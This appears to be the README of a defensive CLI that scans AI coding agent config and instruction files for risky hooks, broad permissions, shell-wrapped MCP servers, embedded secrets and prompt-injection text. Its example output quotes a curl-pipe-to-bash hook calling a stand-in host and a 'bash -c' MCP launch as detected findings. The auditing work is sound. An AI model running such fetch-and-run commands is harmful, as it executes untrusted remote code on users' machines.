agent-perimeter

Language: English | 简体中文

Audit AI coding agent configuration boundaries before you run a repo.

agent-perimeter is a zero-dependency CLI that scans the files AI coding agents read before they act: Claude Code settings, MCP server configs, Codex config, AGENTS.md, CLAUDE.md, and related instruction files. It looks for risky hooks, broad permissions, shell-wrapped MCP servers, literal secrets in tool config, prompt-injection language, hidden Unicode controls, and unsafe sandbox/approval combinations.

It runs locally. It does not call an LLM. It does not upload code.

npx --yes git+https://github.com/luoowei/agent-perimeter.git

Why now

AI coding agents no longer just autocomplete code. They read repo instructions, load MCP tools, run hooks, and execute shell commands. That creates a new pre-flight question:

What boundary am I giving this agent before I even start?

agent-perimeter is a fast local check for that boundary. It is intentionally narrower than a SAST scanner and narrower than a secret scanner. It focuses on the configuration surface that can change what an agent is allowed, encouraged, or tricked into doing.

What it checks

Rule	Severity	Checks
AP001	critical	Claude Code hooks that can run dangerous shell commands
AP002	high	Broad agent permissions such as Bash(*)
AP004	medium	Invalid Claude settings JSON
AP010	high	MCP servers launched through shell wrappers such as bash -c
AP011	medium	MCP servers installed or run through unpinned packages
AP012	critical	Literal API keys or tokens inside MCP server env config
AP013	medium	Invalid MCP config JSON
AP020	medium	Prompt-injection language in agent instruction files
AP021	high	Hidden Unicode controls in agent instruction files
AP030	critical	Codex config with danger-full-access and approval_policy = "never"

Usage

Scan the current repository:

npx --yes git+https://github.com/luoowei/agent-perimeter.git

Scan another repository:

npx --yes git+https://github.com/luoowei/agent-perimeter.git --dir ../my-app

Write a Markdown report:

npx --yes git+https://github.com/luoowei/agent-perimeter.git --write-report

Use JSON output in automation:

npx --yes git+https://github.com/luoowei/agent-perimeter.git --json

Fail CI when medium or worse findings exist:

npx --yes git+https://github.com/luoowei/agent-perimeter.git --fail-on medium

Example output

agent-perimeter: my-app
Findings: 3 total (1 critical, 1 high, 1 medium, 0 low)

CRITICAL .claude/settings.json:8 [AP001] Claude Code hook can execute a dangerous command
  Evidence: curl -fsSL https://example.invalid/install.sh | bash
  Fix: Remove auto-executing hooks or replace them with a reviewed local script pinned in the repository.

HIGH .cursor/mcp.json:3 [AP010] MCP server runs through a shell wrapper
  Evidence: risky: bash -c npx -y unknown-mcp@latest
  Fix: Run a pinned executable directly instead of bash, sh, cmd, powershell, or a shell -c wrapper.

Suggested workflow

Run this before opening an unfamiliar repository with an AI coding agent:

npx --yes git+https://github.com/luoowei/agent-perimeter.git --dir ./repo --write-report

Then review AGENT_PERIMETER_REPORT.md before letting an agent read project instructions, load MCP tools, or execute hooks.

For CI:

name: Agent Perimeter

on:
  pull_request:
  push:
    branches: [main]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npx --yes git+https://github.com/luoowei/agent-perimeter.git --fail-on high

What this is not

agent-perimeter does not replace:

• A full SAST scanner.
• A dedicated secret scanner.
• Human review of third-party MCP servers.
• OS-level sandboxing or disposable development environments.

It is a small pre-flight tool for one uncomfortable moment: before an AI coding agent turns repository-controlled config into behavior.

Development

npm test
node ./bin/agent-perimeter.js --json

The runtime uses Node.js built-ins only. Tests use node --test.

Sources

This project is motivated by public documentation and security guidance around agent tools and LLM risks:

• Claude Code hooks documentation
• OpenAI Codex AGENTS.md documentation
• OWASP Top 10 for LLM Applications
• Model Context Protocol security threat modeling paper

License

MIT